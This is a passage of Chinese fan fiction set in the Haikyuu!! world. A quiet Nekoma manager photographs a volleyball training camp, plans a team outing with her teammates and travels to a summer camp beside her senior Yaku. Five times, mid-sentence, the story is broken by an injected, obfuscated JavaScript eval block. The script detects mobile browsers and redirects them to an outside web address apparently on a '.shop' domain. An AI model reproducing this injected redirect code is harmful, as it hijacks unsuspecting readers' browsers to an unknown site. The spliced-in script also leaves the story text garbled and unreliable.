准备五十多号人的早饭不是一件简单的事，不过前期的准备都很充分，所以虽然中途因为乱七八糟的原因有些手忙脚乱，但总体来说还是圆满结束了。 ……好饿。 我默默给自己先打了一份，然后缩在角落的小桌子旁开始扒饭。 主厨宫之下学姐戳戳我，“味道怎么样？” 我肯定点头，“好吃。” 反正比我做的好吃。 第一批来的人是有晨跑习惯的几个，黑尾前辈跟木兔前辈打打闹闹地进来，身后是正在教训灰羽的夜久前辈。 灰羽大概是被两位前辈一起拽出来晨跑的吧，我记得他之前说自己没有晨跑习惯的。 我看了后面正在挨训的灰羽一眼，习以为常地移开视线。 早就习惯了呢，灰羽挨训这件事。 学姐们照顾着我和谷地两个不擅交际的人便将打饭的任务全权包揽了，此时我正窝在后厨，透过玻璃窗悄悄往外看。 等夜久前辈注意到我，我向他弯了弯眼睛，小幅度地挥了挥手。 他同样朝我挥了挥手，顾虑着我之前的话等距离近了仔细打量了一下我的脸色，察觉到一丝不对劲，问：“昨天没睡好吗？” 察觉到他话语中真切的关切，我犹豫两秒，解释道：“我好像有点认床，昨天睡不安稳……不过也还好，是能接受的程度。” 夜久见我没有逞强的意思，便不再说什么，只是看了眼表，建议：“九点钟集合，还有快两个小时，如果太困的话可以回去再睡一会哦。” “好哦。”我朝他比了个“OK”的手势，随即向他推荐，“今天的蔬菜很新鲜哦，味道很好。” “喔，”提到喜欢的食物，夜久明显兴趣上来了些，兴致勃勃道，“那我可要好好尝尝。” 跟他告别，我收回注视着他去窗口打饭的背影的视线，慢吞吞重新缩回角落。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309371|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那、那个，小岛游同学……”谷地犹豫了半天，小声地叫我。 ……嗯？ 我慢了半拍地转头，先下意识对称呼做出反应，“叫我小游就好了。” 顿了顿，我反应过来，问：“怎么了吗？” 我跟这个和我一样是一年级的乌野经理几乎没有交流，对方也是内向的人，而在社交方面都很被动的人是很难有交集的……谷地能算社恐吗？ 我回想了一下，短暂陷入沉思。 算吧，和我一样在陌生人群里很不适呢。 谷地听我说第一句话时微微一愣，“好、好的！小游也叫我仁花就可以！” “好哦，仁花，”她这么说我也这么叫了，我又问了一遍，“怎么了吗？” 仁花悄悄抬头，看了我一眼。 ……虽然一直冷着脸但意外的很好说话呢，好像、好像是外冷内热的类型！ 我莫名地读出了她在想什么。 沉默两秒，我微微瞪大了眼，匪夷所思。 我知道我平时在跟除了熟人以外的人相处的时候会因为紧张而紧绷、导致变成没什么表情的状态，但应该也不至于到冷着脸的感觉吧？不能吧？ 我看错了吧。 我还在头脑风暴，那边的仁花已经组织好措辞，小心翼翼地问我：“就是……我前面有听大地学长说你会在合宿期间对队员进行拍摄，我、我想找你要一份照片。” ……啊，想起来了，我还没来得及把现有的那张照片传给乌野队长。 我从衣服口袋里摸出手机，有些犹豫，“……因为经理的工作有点忙，所以我到现在只拍了一张，如果不介意的话我发给你吧。” “好的！” 总之，加上联系方式后我把原件传给她后，纠结了一会儿，我问：“……那个，请问可以帮我把照片传给你们队长一份吗？” 仁花还在震撼于昨天见过的场景今天竟然再一次出现、甚至画面格外唯美主人公也很有气势，闻言没反应过来，下意识问：“啊？” “……没事。” 本来就很纠结现在更是没勇气再说一遍了……还是不要麻烦仁花了。 仁花反应过来我刚刚说什么，恍然大悟地“噢”了声，拍拍胸脯，“包在我身上。” 恰好盖过了我刚刚那句话。 ……啊。 我眨了眨眼，朝她道谢，“谢谢。” 22. 二十二个小岛 已经提前说了拍摄、对此交涉了条件，但按现在的状态来看……还有经理的工作，完全没找到时间拍呢。 到时候要是各队主将以为我忘记传照片给他们来问我要、结果完全没有的话……想想那个场景就很可怕。 但经理的工作也很重要……呃啊。 听我碎碎念地说完自己的烦恼，芝山歪了歪头，不明白我在纠结什么。 他很顺手地伸手拿过我专门用来记录的笔记本，哗啦啦翻到最新一面，对折抱进怀里把黑笔的笔帽拔掉。 我没对他设防，所以他很很顺利地就拿走了我手里的本子，在我的注视下，他做完了这一切，然后朝我比了个大拇指，“现在就好啦，你想去拍照的话就去，反正我们不上场，而且只是记录的工作，还是可以帮你分担一下的。” 我有些犹豫，“可是……” 在旁边听完了全程的犬冈大咧咧打断我的话，“没关系！本来没有经理的时候就是我们在记录这些呢，刚好还没有手生。” 手白“嗯”了声，赞同他的话。 同样听了一耳朵的黑尾凑过来，插入一年级们的谈话，顺便怂恿我，“既然其他人都说了就不用担心啦，况且练习赛的比分其实也不用全部记下来，只有正式比赛上才是一定的。” 他给我举例，“下下周的暑假合宿持续七天，按前两年的频率来讲最少要打五六十场比赛，你全记下来是打算提前把音驹唯一的经理累死吗？” “好吧。”我纠结了一会儿，承认有被说服道。 低头从包里翻出相机，我站起身，决定先从隔壁球场枭谷vs生川的比赛开始拍。 讲真，我不是很经常有灵感这个东西出现，大多数时候，我拍出来的照片并不出彩，虽然技巧方面没有可挑剔的地方，但……那没有灵魂。 假如我是一个真切热爱摄影的人的话大概会很难过吧，觉得自己灵感枯竭不能再摄影了之类的……但我不是。 所以我并不在意，拍出来的照片是技术堆积起来的成果这件事。 没有灵感已经是我的日常，我早已习惯这件事，所以就算此刻完全没有拍照的欲望，我也还是举起相机，对准了这场比赛上的队员。 当然，没有离得很近，是画面清晰但只要不刻意注意我就绝对发现不了的距离——那些直觉很准的另算，这不是我能考虑得到的事情。 我用相机对准木兔前辈。 怎么说呢，虽然平时和黑尾前辈互损的时候幼稚地像小学生，但球场上的他倒是不愧他的队员们称赞他时所说的那一句王牌。 是的，我听到他们一群人临时在场上组成默契的夸夸团围着不知道为什么消极下去的木兔前辈夸了。 甚至白福学姐和雀田学姐在场外也参与了……好震撼，是枭谷特产吗。 啊，话题扯回来……我对人像的涉及是从两个月前开始的事情，就是开始看音驹练习赛的时候，在此之前我虽然学过，但几乎完全没有实践的机会。 我在这方面不是熟手，但还是姑且先总结一下我这两个月拍人像的经验——或者说是拍比赛时候的选手的经验，我个人认为这比拍场下的他们艰难很多。 毕竟被吸引着按下相机和刻意寻找最佳角度和构图是不一样的。 一般来讲，如果是前者，那么很多技巧上的东西其实都是可以让步的，比如当初给我很大震撼的夜久前辈在帖子上的配图，再比如昨天拍的那唯一一张照片——后面看的时候才发现构图和光影都差了很多呢。 在意识到这一点后，我闲的没事干的时候会开始钻研如何在没有灵感的时候借助现场的氛围来拍出更吸引人的照片。 所以我觉得拍球场上的他们会难于拍球场下的他们，我对排球又没兴趣，也很难对排球比赛有什么兴趣，所以我难以身临其境地感受场上的氛围来促使我按下快门。 我想了很久，最后想到了眼睛。 眼睛是心灵的窗户——还真是说对了，队员们虽然场下的性格各异，但在球场上时一双双亮起的眼睛却意外能感染到我。 我想大概也是能感染到看到照片的人的吧，毕竟…… 他们都很耀眼啊。 于木兔跳起扣球时，我按下快门，将这一幕定格。 我低头察看我的成果。 画面中的选手黄褐色的眼睛格外引人注目，那是格外纯粹而坚定的热爱，亮眼、吸睛、闪耀到我想要退缩。 嗯……拍得还不错，这氛围不是超好的嘛。 枭谷全员（1/12） 不过十二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309372|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人不是全部都会上场……没事，那就拍这六个人的吧，能交差就好了。 我接连按下快门。 总之，这一整个上午我都在拍照。 每个人都起码拍了一张，比赛中途还抓拍到了很日常但又很温馨的照片，是乌野那边的……虽然那两个人下一秒就差点大气来就是了。 让我想想……好像是叫影山飞雄和日向翔阳？是昨天晚来的那两个人。 ……那个二传应该是影山飞雄吧，不太敢想象他叫日向翔阳的样子。 把听起来就很阳光的名字安在冷脸酷哥身上真挺违和的。 比赛在今天上午就结束了，吃完饭各个学校就差不多也该收拾收拾回家了。 ——也可能是回学校？ 在此之前，我整理了一下拍的照片，按不同学校分类，打包发给了黑尾前辈，拜托他把这些照片交给各个学校的主将。 他比了个“OK”的手势，过了一会儿突然暗戳戳问我：“有拍到什么丑照吗？” 我：？ 我委婉，“黑尾前辈，我觉得木兔前辈会生气的。” 黑尾眼睛一亮，“所以是有？” “没有。” “？” # 临走前，白福学姐朝我挥了挥手机，“小游，我们加个好友吧？” 话一出口，旁边正在收拾行李的其他几位经理闻言一起凑过来。 宫之下终于想起忘掉了什么，“是诶，我们还没有交换联系方式呢。” 被她们提醒我才想起来这件事情。 ……对哦，平时不怎么用手机，都忘记了。 雀田招呼着乌野的两位经理过来，毕竟只有音驹和乌野两个学校的经理是新加入的，其他人在前一年就已经交换过联系方式了。 五分钟后，通讯录里除了原本音驹的部员们还有萩原松田名字之外，还多了同性的几位学姐和同级生的名字。 我看着手机，再次小小地感慨了一下。 要知道，两个月之前我的通讯录里林林总总加起来连一双手的手指头都凑不齐，结果两个月之后甚至都已经找过两双手手指头的数量了。 时间过得真快啊……我也变了好多呢。 大概、是好的变化吧。 23. 二十三个小岛 我们作为东道主留到了最后，将另外四所学校送走后便直接解散了，并没有要继续训练的意思。 毕竟之后还要上课啊。 灰羽在我旁边哀嚎，“为什么期末考考完还要上学啊，这不符合常理吧！为什么！！” 我正比划着来的时候装小熊的袋子，发现已经因为保存不当而有些破损，纠结着还要不要把玩偶塞进去，最终还是选择抱着回去，闻言疑惑地转头看了他一眼。 对我来说其实上学不上学没什么区别，不过在学校我起码有事干不会很无聊……虽然人很多就是了。 话说这次考到了年级第一……感谢阵平哥和研二哥，要不是他们提前跟老师们说过，老师们大概会因为我考了第一而在上课的时候频繁点我名字。 上课的时候我不止一次感觉到他们的视线落在我身上啊……虽然最后都没有叫到我的名字就是了。 另一边的灰羽没注意到我的视线，他一边把包背上一边继续嚎，我被他吵的头疼，想了想，安慰道：“没事，上完一周课之后就是合宿了。” 灰羽之前一直说很期待合宿、也很遗憾黄金周的时候没有跟着一起去参加宫城的合宿，想到下一场合宿应该会开心很多吧。 我这么想。 但灰羽实打实做出了我预料之外的事情，他听完我的话动作一顿，然后嚎地更大声了，“还有一周的合宿！！好恐怖！！” 我震撼地转头看他：这个反应和我预想中的也差太多了吧！ 夜久站在我旁边，被嚎地额角突突直跳，终于忍无可忍一肘敲过去，“太吵了列夫！！” “——痛！” ……到底是为什么会被拽着加训灰羽你自己不清楚吗。 被前辈痛击的灰羽终于安静下来，他背着包出来，跟我们一起往校门口走。 不知道是什么仪式感还是其他的什么东西，总之，校门口聚集了一众还没走的队员。 远远看到我们，山本前辈双手聚拢在嘴边，大声喊：“快点——！” ？ 我们摸不着头脑，但见他这副好像有什么急事的样子还是加快了脚步。 走到他们面前，我们丝滑混入人群，而我在原地思考了两秒，问：“等会要一起去玩吗？” 山本前辈疑惑回头，“没有啊，为什么这么想？” “啊，”我有些遗憾，“因为刚刚像在催我们集合。” 所以以为要一起出去玩，不然干什么集合。 福永前辈摇头否定，一本正经道：“是团魂哦，不管做什么都要集合了再走。” 我：? 我总感觉有哪里不对，但又说不上来，头脑风暴了一会儿，最终接受福永前辈的解释，并大受震撼。 ……高中排球部连团魂这种东西都有了吗！ 山本作为唯二听到福永的话可能扭转我错误认知的人，他听完沉思片刻，觉得说的也没错，同样接受了这个设定。 黑尾听完我的问题后就陷入了沉思，完美无视了福永后面的话，在这会突发奇想提议：“我们要不要一起去团建？” 大家被他突如其来的一句整的摸不着头脑，“什么？” 黑尾越想越觉得可行，“下周要上学pass，再下周要合宿也pass，但春高预选赛之前不是还有一段时间吗，我们趁假期没事一起出去玩吧！” “春高预赛快来了，再不一起出去玩的话之后就要一直忙起来了！” 啊……春高预选，这么快吗。 短暂地被这一句吸引了注意，但我转头就被另一个更感兴趣的地方吸引走了。 ……是团建诶。 还没有去过！想参加！ 我转头，悄悄打量了一圈。 大家好像都没有反对的意思，好耶。 犬冈举手表示自己支持这次行动，他兴冲冲问：“我们去哪里玩！” 夜久摸着下巴想了想，“一起出去玩的话果然还是游乐园更好吧？” 海回想了一下，提议，“东京最近就有一家新开的游乐园，我们可以去那里玩，这样就不用担心之前有人去过了。” 研磨四处看了眼，有气无力地碎碎念，“……怎么已经默认要去游乐园了啊。” “去吧研磨前辈！！”灰羽恰好在他旁边，闻言以为他不想去，大惊失色转头，绞尽脑汁开始试图说服他，“我们刚好可以一起玩来培养默契！” 我看着研磨前辈一下子垮下脸、难掩嫌弃的样子，有些欲言又止。 ……灰羽，研磨前辈本来也没说不去啊，现在看起来才是真的不想去了吧。 研磨最终还是叹了口气，在所有人的注视下点了点头。 ——毕竟有可能不凑这个热闹的只有他们的二传和经理，而对我多少有些了解的大家并没有错过我突然亮起的眼睛。 那就只差研磨了。 于是，他点头的瞬间，大家欢呼起来。 人到位之后很多东西其实都称不上什么大问题了，嗯……比如说音驹并不充裕的经费？ 音驹是公立学校，再加上排球部的成绩其实算不上多好，所以音驹的经费挺有限的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309373|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 我查了票价，如果团建用经费的话，算上之后的合宿等等，也许会在后面显得捉襟见肘。 不过也只是也许了，按现在的情况算的话，到了最后应该还能稍微剩点。 啊……也不排除啪地就没了的情况发生。 不过也很好解决，毕竟我是经理，经费归我管。 我可以往里面垫点。 嘻。 # 上的这一周学对我没什么影响，我照常上学照常上课照常在中午带着午饭去找夜久前辈，然后照常在放学后去排球部参加部活。 嗯……最多的事情大概就是排球部的事情了，前辈们把下次合宿的准备工作全都交到我手上了。 虽然在此之前完全没有这方面的经验，但上次合宿的时候看过夜久前辈整理这些事情，再加上这回经我手的所有东西都会重新被他看一遍、有问题就指出来——有种不管怎么样事情都能圆满结束的安全感。 是夜久老师呢。 我福至心灵地幻视，然后在心里感慨。 夜久伸手，指节敲了敲桌面，发出清脆的响声，“回神回神，你有在听吗？” 我依言回神，诚实回答：“没有。” 他哑然，有些无奈，“你倒是坦然……要是困了就睡会吧，我等会叫你。” “唔……”我随意地枕着胳膊趴到桌子上，“也不是困，大概是有点累吧。” 毕竟在此之前没有接触过这些、事情还意外地多，从记录经费开支一类的小事、到了解之前完全不感兴趣的排球方面的知识……还有需要在春高预选前赶出来的排球部的宣传海报，虽然有些东西不是必要的，但…… 这届春高是排球部三年级地前辈们高中的最后一场比赛了啊。 是夜久前辈高中的最后一场比赛了。 我不想让大家留下遗憾，但要说我能提供的帮助……真的很少。 所以在我所能做到的这方面，我想交一份满分的答卷给他们。 但真的很难……我国中的时候加入了归宅部之后可是实打实做了三年透明人，从文化祭到体育祭再到班上偶尔由同学们准备的活动，全都没有接触过，可谓是完全没有基础可言。 结果就是这样的我，上高中之后继续再当三年透明人的计划中道崩殂，直接一步到位来当了运动社团的经理。 赶进度好累……我黑眼圈肯定很重吧，之前夜久前辈从来没觉得我很困之类的。 “夜久前辈，”我闷闷开口，“……所以都怪你吧。” “……啊？” 24. 二十四个小岛 将时间线往前推、推到一切的最开始，我在那个雨夜同夜久前辈对视的那一眼。 假如没有和夜久前辈相遇，我不会因为灰羽一直念叨排球的事情而对排球部好奇，然后去看练习赛。 不会在这之后去看IH预赛，不会在那场比赛中真切地体会到我所没有的热爱后加入排球部成为经理，当然也不会累到现在这个地步。 这么一想都怪夜久前辈嘛。 我撇撇嘴，这么想，也这么说了。 但有些东西偶尔开玩笑般在心里抱怨一下就够了，毕竟，不管是和夜久前辈相遇、还是加入排球部成为经理，我都从来没有后悔过啊。 偶尔，我是说偶尔。 我会在某一刻，突然想到夜久前辈的眼睛。 那是一双棕色的眼睛，澄澈而明亮，细碎的光反射在瞳孔中，格外漂亮。 原谅我词汇量稀少而单薄，我实在想不到什么样的形容词才能将温暖但不灼热的阳光具体且明确地表述出来。 我的人生似乎从不经意间与他对视的那一天就彻底变道了。 虽然的确会多少有些不可控感，毕竟我原来对自己的安排仅仅只是攒钱、攒到足够我在将来什么都不做也可以靠存款生活的钱。 然后继续拍照、继续弹吉他来消磨于我而言无趣且无聊的时间。 牢牢掌握在手里，但一眼就能望到头的未来。 之前不觉得有什么甚至接受良好，但现在……我大概再也忍受不了那样的生活了。 在真切感受到那几乎要将我灵魂烫穿、像太阳一样的热爱之后，没人能再次回到黑暗阴冷的巢穴。 转过头，我对上夜久前辈因为我刚刚突兀的那句话而疑惑望过来的眼睛。 我只是朝他弯了弯眼睛，仿若叹息，“……遇见你真好啊，夜久前辈。” 声音很轻，仿佛风一吹就将散去，碎在风中、融在风中，格外微弱，微弱到除了我没人听得见。 夜久垂眼看我，疑惑地歪了歪头。 他只模糊地听到了零星几个音节，尾音糊在一起，完全分辨不出来说了些什么。 他想问，只是看着她微微弯起的眼睛，最终还是将临到嘴边的话咽回去，轻轻叹了口气。 算了，她开心就好。 伸手将我顺着重力慢慢垂下挡住视线的发丝别到耳后，夜久顺手揉了揉我的脑袋。 “睡一觉吧，”他说，“你太累了，小岛。” “春高预选只是预赛而已，正式比赛可是一月份开始。” “现在还是夏天呢，直接跳过秋冬执着于春天，它们会哭的啊。” “好好看着眼下的事情啊，你现在可是连申请大巴的申请表都没填。” 说完最后一句，他突然顿了顿，沉吟片刻，说：“你要不还是把申请填完了再睡吧。” ？ …… ……………… “……我现在就睡。” 我一噎，无语地把头转回去，将脸埋进臂弯。 听见他没控制住的闷笑声，我不高兴地鼓了鼓脸。 我逗起来很好玩吗？？ 我怀疑人生。 ……不，先不提这件事。 夜久前辈果然有读心术吧，我表现得不明显吧？ 看出我最近状态不好就算了，这个的确很明显……但春高是怎么猜出来的啊。 超能力吗？ —— 其实挺好猜来着。 将刚刚被她推到旁边的申请表拿过来，夜久扫了一眼，熟门熟路地拿起笔开始往上填。 说感觉也好直觉也罢，意识到她状态不好的原因是不知缘由的焦虑情绪后，夜久很轻易就进一步意识到了原因。 毕竟小岛表情其实还挺丰富的（其他人：并没有），再加上中午吃完饭之后一块学习/处理经理的工作的时候她放松了不止一点，简单观察一下就能得出结论了。 更何况她并没有特意隐瞒——可能是觉得没人能发现吧。 落笔的动作微顿，于是停滞的笔尖在纸张上洇出墨痕。 他偏头看着身旁已经沉沉睡去的人，半响，伸手理了理她凌乱散在桌上的发丝。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309374|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上课铃响前被夜久叫醒，我还没彻底清醒过来，脸颊抵着胳膊原地呆了一会儿，才茫然地撑着桌子起来。 “哈……好困。” 我打了个哈欠，眼前被生理性的泪水蒙了一层水雾，下意识眨了眨眼，世界才清晰起来。 手脚有些使不上劲，轻微的麻意从手臂上传来，我没精力管，向后靠在椅背上，困顿地半合上眼睛，仿佛下一秒就要重新睡过去。 夜久已经帮我把东西理好了，结果一转头发现我差点又要睡过去，连忙伸手，按着我的肩膀阻止我随着一点一点的头往下栽的动作，有些无奈，“小岛，小岛？快上课了。” 我反应慢了半拍地理解他的意思，闻言“啊”了声，问：“几点了？” ……我睡了很久吗？ 一边不确定地想着，我一边又打了个哈欠。 奇怪，睡着之前明明不困啊。 夜久看了眼表，“十二点四十一，你睡了半个多小时吧。” “噢。” 那还好，一点钟才上课。 我清醒了点，便想站起来活动一下有些僵硬的四肢，下意识伸手抓住夜久还没来得及收回去的手，借力站起来。 腿还是有点发软、使不上劲的感觉……还好找夜久前辈扶了一把，不然刚刚猛地一下起来大概会摔吧。 这么想着，手中温热的触感蓦地消失，我手下一空，有些没反应过来，下意识茫然地转头看过去。 夜久前辈速度很快地撇过脸，收回去的手在半空中僵了两秒，转而伸向桌子，把我带过来的装午饭和带来的一些需要写的纸质材料的帆布袋递给我，状似什么都没发生地说：“走吧。” 我视线落在他慢慢染上红意的耳廓上，有些没反应过来是怎么个情况。 还没来得及细想就被他一句话打断了思绪，我困惑地歪了歪脑袋，想接着想下去但手已经下意识动起来，接过了递来的袋子，“好，谢谢夜久前辈。” 跟着他踏出排球部活动室时，我下意识回想了一下。 ……刚刚在想什么被打断了来着？ 25. 二十五个小岛 这次合宿需要向学校申请大巴，把夜久前辈帮我写的申请书交上去，没两天同意的通知就下来了。 持续七天的合宿……我收拾行李的时候纠结了一会，重新收拾了一个手提包出来。 贴身衣物另装在小包里、两套队服一定换不过来所以再带两套常服…… 外套的话，气温又升了点，还是穿一件防晒衣就好了。 除此之外还有驱蚊液、叮咬后涂抹的药膏、防晒霜之类的东西，都带上吧。 临走前重新检查了一遍看有没有东西忘带，我满意点头， 带齐了。 把上次带的那个小包折好放进双肩包里，我带上遮阳用的鸭舌帽，背上包，捞过这段时间已经成为我固定陪睡对象的小熊，踏出房门。 让我想想……上午九点集合，现在是八点半出头，按我平时的时间的话，到的时候应该才五十几。 迟到是不至于了。 ……吧？ 大老远看到校门口聚集的一群人时，我差点以为我到晚了，毕竟我平时虽然踩点到但还没有过最后一个到过，连时间都没来得及看，我连忙小跑两步过去，“抱歉……我来晚了很久吗？” “没有啊，”黑尾闻言下意识看了眼时间，道，“才六点五十一……竟然连列夫都没有迟到吗？” 旁边其实也刚到不久的灰羽闻言不满地大声道：“我明明没怎么迟到过吧？‘竟然’是什么啊！” “也只是没有每次都迟到吧，”夜久吐槽，“你已经迟到过两次了。” 灰羽略心虚地沉默了两秒，然后想通了什么理直气壮，“也只有两次啊！” 他刚刚跟犬冈聊到一半，等这的话题结束便转回去继续聊。 我则是四处看了一眼，发现在场唯独少了两个不能不来的身影，有些疑惑地问旁边的夜久前辈，“教练他们还没来吗？” 他向外指了指，“教练他们去开车了，马上来。” 我顺着看过去，“啊”了声，“好像已经来了。” 不远处的大巴缓缓开出来映入眼帘，正在聊天的众人纷纷被吸引了注意，转头看去。 随着距离的缩减，开车的人也透过车子的前挡风玻璃出现在眼前。 “是直井监督开车诶。”旁边的灰羽摸了摸下巴，“原来我们需要自己开车去吗？” 黑尾闻言转头看过去，摊手状似无奈，“毕竟本来就是公立学校，而且排球部经费也不多嘛。” 他话锋一转，顺势开始激作为音驹未来的几个一年级，“所以要好好训练啊，春高打出成绩就可以有足够的经费了。” “音驹将来就要交给你们了，别到时候反倒连大巴都申请不下来了。” 灰羽犬冈等人对视一眼，一同应声，“我们会的！” 我在旁边看着他们身后仿佛突然具象化了的熊熊燃起的火焰，沉默片刻，半响叹为观止地用敬佩的眼神看向黑尾前辈。 黑尾前辈将来去干传销吧，没有比他更适合的人了。 一边想着，我一边转过脸，不再看这个宛若传销一样的画面，看着大巴缓缓停在了我们跟前。 停稳之后，车门咔的一下向外平移开，驾驶座上的直井监督朝我们喊：“快上车快上车，准备出发了！” “嗨——” 灰羽这个第一次出去合宿的一马当先，兴致勃勃地窜出去，紧跟其后的是被他带起兴致一起往上冲的犬冈。 ……哇。 我看着转眼没了人的空位，默了两秒，慢半拍地在心里感叹一声，随即像是想了到什么，转头透过人群找了下另外两个一年级——反应完全不一样呢。 手白好像没什么不一样的，但芝山看起来很紧张……看来灰羽他们这么亢奋跟是不是第一次/第二次去合宿没什么关系呢。 一边想着，我一边顺着大部队上车。 找了个靠窗的位置，我踮脚把行李推上座位上方的行李架，确定放好了之后才坐了下来。 大巴车内的空气不算流通，我嗅了嗅，便默不作声地从兜里摸出一个橘子凑到鼻子前，让橘子的清新味道吹散大巴车内的气味。 还好走前看的关于“去合宿需要准备的十样东西”中有提到过要带橘子，不然我还真不一定会把这个带上。 我晕车不算严重，能开窗通风的话只要不在车上看手机一类的东西就不会太难受，不能开窗的话……多少有点反胃，指生理上的。 最后一排的位置倒是可以开窗，但后面坐着更晕，还是坐前面吧。 这么想着，我被开得很猛的空调吹得打了个寒颤，默默拉上拉链，试图让轻薄的防晒衣抵御一下吹过来的冷风。 后悔了，早知道就穿外套出来了，热点就热点。 心中的后悔情绪默默的加重，却在冷风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309375|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼地停下时后知后觉地停下，我有些茫然地抬头看过去。 浅发的男生撑着前座的靠背探身过来，伸手将正对着我吹的空调出风口向上拨过去，收手时没好气地伸手戳了戳我的额头。 “冷就别让空调对着吹啊，第一次坐大巴吗？”夜久吐槽我，随后问，“我能坐这吗？” 我还真是第一次坐大巴车来着……我高中才第一次参加社团，之前都从没参加过这种活动，唯一坐过的交通工具好像只有出租车和阵平哥和研二哥的自行车。 虽然不是第一次知道自己常识覆盖面极狭窄，但现在被点出来还是有点微妙的心虚。 话说为什么要问我能不能坐这里，这有什么说法吗？ 我茫然地思考了两秒，谨慎道：“可以？” 夜久没懂我在犹豫什么，闻言应了声，把自己的行李轻松地推上行李架后便弯腰坐过来。 ……打排球的人，体温都这么高吗？ 总感觉旁边突然多了一个大型热源，我有些懵，转头频频看了他好几眼。 他注意到我的视线，有些疑惑地侧头看过来，语气自然，“怎么了吗？” 闻言，我下意识摇了摇头，否认，“不，没什么。” ……也不是头一回坐一块了，为什么现在会突然觉得夜久前辈体温这么高？ 而且不都是同个季节吗，怎么我体温能低这么多，摸上去皮肤都是凉的。 人与人之间的差距好大……夜久前辈就穿了件短袖吧，我穿了打底衫和防晒衣都觉得有点凉，但他看起来一点也不冷。 抓了抓头发，我有点难绷地深吸了一口气。 橘子的清香灌进鼻腔，我看了两秒，从抱在怀里的手提袋里摸了一个橘子出来，悄悄递过去。 “夜久前辈，”我小声问他，“吃橘子吗？” 他正低头看着手机，似乎在和什么人发消息，闻言停下动作，将橘子接过来，“谢谢。” 夜久看着手中看起来品相很好的橘子，有些意外，“你还带了这个啊。” “因为有点晕车，”我解释道，“攻略说橘子可以缓解一点、” “这样啊。”他若有所思地点了点头，过了会，递过来半个剥的橘子。 他又叮嘱我，“别吃太多，胃会涨。” 我接过来，看着连白丝都剥了个七七八八的橘子，乖巧地应了声，“好。” 26. 二十六个小岛 东京到琦玉的车程不算长，上午、太阳还不算毒辣的时候，大巴便已经驶进了森然，穿过路边郁郁葱葱的大树投下的影子，最后停在了体育馆附近的车位上。 我坐在窗边，看着窗外从眼前掠过的另外几辆停在停车位上的大巴，没看出个所以然，不过凑近看看，好像能看到有些人正在下车的样子。 我眯起眼辨认了一下，是乌野他们，我看过去的时候清水学姐正好在下车，后面跟着仁花。 是熟人。 虽然一周前刚见过，但大概是这一周我做的事情不少，总有种过了很久的感觉，再看见同为女生的熟人竟然莫名地有些开心。 我抿唇，不明显地弯了弯唇角。 车上的队员们开始陆续下车，我坐在靠里的位置，下车的话会更晚一点才会轮到我，我便坐在位置上没动，只是解了安全带，便透过窗户往外看，试图用盯过去的视线让清水学姐和仁花注意到我。 喔，她们的确注意到我了，不过好像并不是因为察觉到了我的视线。 最先下去的黑尾前辈去跟乌野的队长开始攀谈，仁花注意到音驹已经到了，便下意识环视了一圈，最后对上我的视线。 她在找我诶。 眨了眨眼，我朝她露出一个笑来，伸手小幅度地朝她挥了挥，算作打招呼。 她后仰了一下，随即也抿唇笑起来，朝我挥了挥手。 我回头看了看，发现人已经走的差不多了，坐在外侧的夜久前辈也已经站起了身，正站在中间的过道拿行李，便也扶着前座的靠背起身，准备等夜久前辈走了之后去拿行李。 默默在心里规划了一下之后要做的事情，我思绪刚蔓延到等会经理是不是要跟大部队分开单独去放心里，便被伸到面前的一个包袱打断了。 是我的行李。 